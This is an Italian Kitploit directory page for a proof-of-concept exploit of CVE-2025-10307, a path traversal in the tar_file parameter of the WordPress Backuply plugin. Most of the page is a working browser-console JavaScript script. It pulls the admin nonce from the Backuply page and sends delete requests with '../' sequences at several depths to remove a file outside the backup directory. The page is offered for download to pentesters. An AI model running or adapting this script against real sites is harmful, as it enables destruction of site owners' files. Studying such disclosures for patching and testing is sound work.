Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-10307 — Exploit proof-of-concept per CVE-2025-10307 che dimostra l'eliminazione arbitraria di file tramite path traversal nel parametro tar_file del plugin WordPress Backuply. | Kitploit
Strumenti/GitHubGitHub/jfriedli/cve-2025-10307
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubjfriedli/cve-2025-10307

CVE-2025-10307

Exploit proof-of-concept per CVE-2025-10307 che dimostra l'eliminazione arbitraria di file tramite path traversal nel parametro tar_file del plugin WordPress Backuply.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit: Cancellazione di file arbitraria tramite Backuply (tar_file path traversal)

PoC da console del browser (admin autenticato)

root@kitploit:~
(async () => {
  const page = `${location.origin}/wordpress/wp-admin/admin.php?page=backuply`;

  // 1) Extract a valid nonce from the Backuply page
  const html = await fetch(page, { credentials: 'same-origin' }).then(r => r.text());
  const doc = new DOMParser().parseFromString(html, 'text/html');

  let security = (() => {
    const btn = doc.querySelector('[name="backuply_delete_backup"]');
    if (btn) {
      const form = btn.closest('form');
      const inp = form && form.querySelector('input[name="security"]');
      if (inp && inp.value) return inp.value;
    }
    const any = doc.querySelector('input[name="security"]');
    return any ? any.value : null;
  })();

  if (!security) {
    console.error('Nonce not found');
    return;
  }

  console.log('Nonce:', security);

  // Helper: send delete request
  const postDelete = (tar_file) => fetch(page, {
    method: 'POST',
    credentials: 'same-origin',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      tar_file,
      security,
      backuply_delete_backup: 'Delete'
    })
  }).then(r => r.status);

  // Attempt path traversal deletion
  const outsideRel = 'outside/canary_outside.txt';
  const depths = [4, 5, 6, 7];

  for (const d of depths) {
    const tar_file = '../'.repeat(d) + outsideRel;

    console.log('Trying:', tar_file);
    await postDelete(tar_file);

    const res = await fetch(`${location.origin}/${outsideRel}`, { method: 'HEAD' });
    console.log(`depth ${d} → status ${res.status}`);

    if (res.status !== 200) {
      console.log('[+] File deleted via traversal at depth', d);
      break;
    }
  }
})();
Scarica lo strumento